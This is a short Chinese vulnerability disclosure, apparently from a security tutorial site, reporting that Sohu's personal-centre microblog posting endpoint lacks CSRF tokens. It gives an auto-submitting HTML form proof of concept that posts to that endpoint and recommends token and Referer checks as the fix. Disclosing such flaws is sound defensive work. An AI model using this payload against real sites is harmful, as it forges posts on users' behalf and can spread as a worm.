搜狐微博继续csrf蠕虫发微博 - 网站安全

搜狐微博继续csrf蠕虫发微博 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 搜狐个人中心http://i.sohu.com也有发微博功能，和http://t.sohu.com是同步的，那么，就来抓抓包看看吧。看到了吗，没有token有木有！！！！！POC:form action=http://i.sohu.com/a/app/mblog/save.htm?_inpu....

搜狐个人中心http://i.sohu.com也有发微博功能，和http://t.sohu.com是同步的，那么，就来抓抓包看看吧。

看到了吗，没有token有木有！！！！！

POC:

<form action="http://i.sohu.com/a/app/mblog/save.htm?_input_encode=UTF-8" method="POST">
<input type="text" name="content" value="csrf test" />
</form>
<script>document.forms[0].submit();</script>

修复方案：

token+Referer

皮皮精灵修改任意用户密码（从而控制用户发微

百度知道搜索结果xss 可获用户cookie - 网站安全

子栏目

搜狐微博继续csrf蠕虫发微博 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论